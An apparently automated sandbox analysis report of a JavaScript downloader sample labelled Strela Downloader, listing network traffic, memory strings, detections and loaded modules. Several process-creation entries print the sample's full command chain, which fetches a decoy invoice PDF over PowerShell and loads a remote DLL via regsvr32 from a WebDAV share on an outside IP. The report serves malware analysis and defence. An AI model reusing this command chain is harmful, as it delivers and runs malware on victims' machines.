6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1257336530.000001F93F442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1318121814.000002029A978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1318121814.000002029A9BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 0000000C.00000002.1318121814.000002029A978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 0000000F.00000002.2541089928.00000249FF800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1317822058.00000249FF600000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3300, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1731726859230921847.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1416:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ulqfydv1.n33.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1600,i,3264500123192163859,9823756888314891952,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1600,i,3264500123192163859,9823756888314891952,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
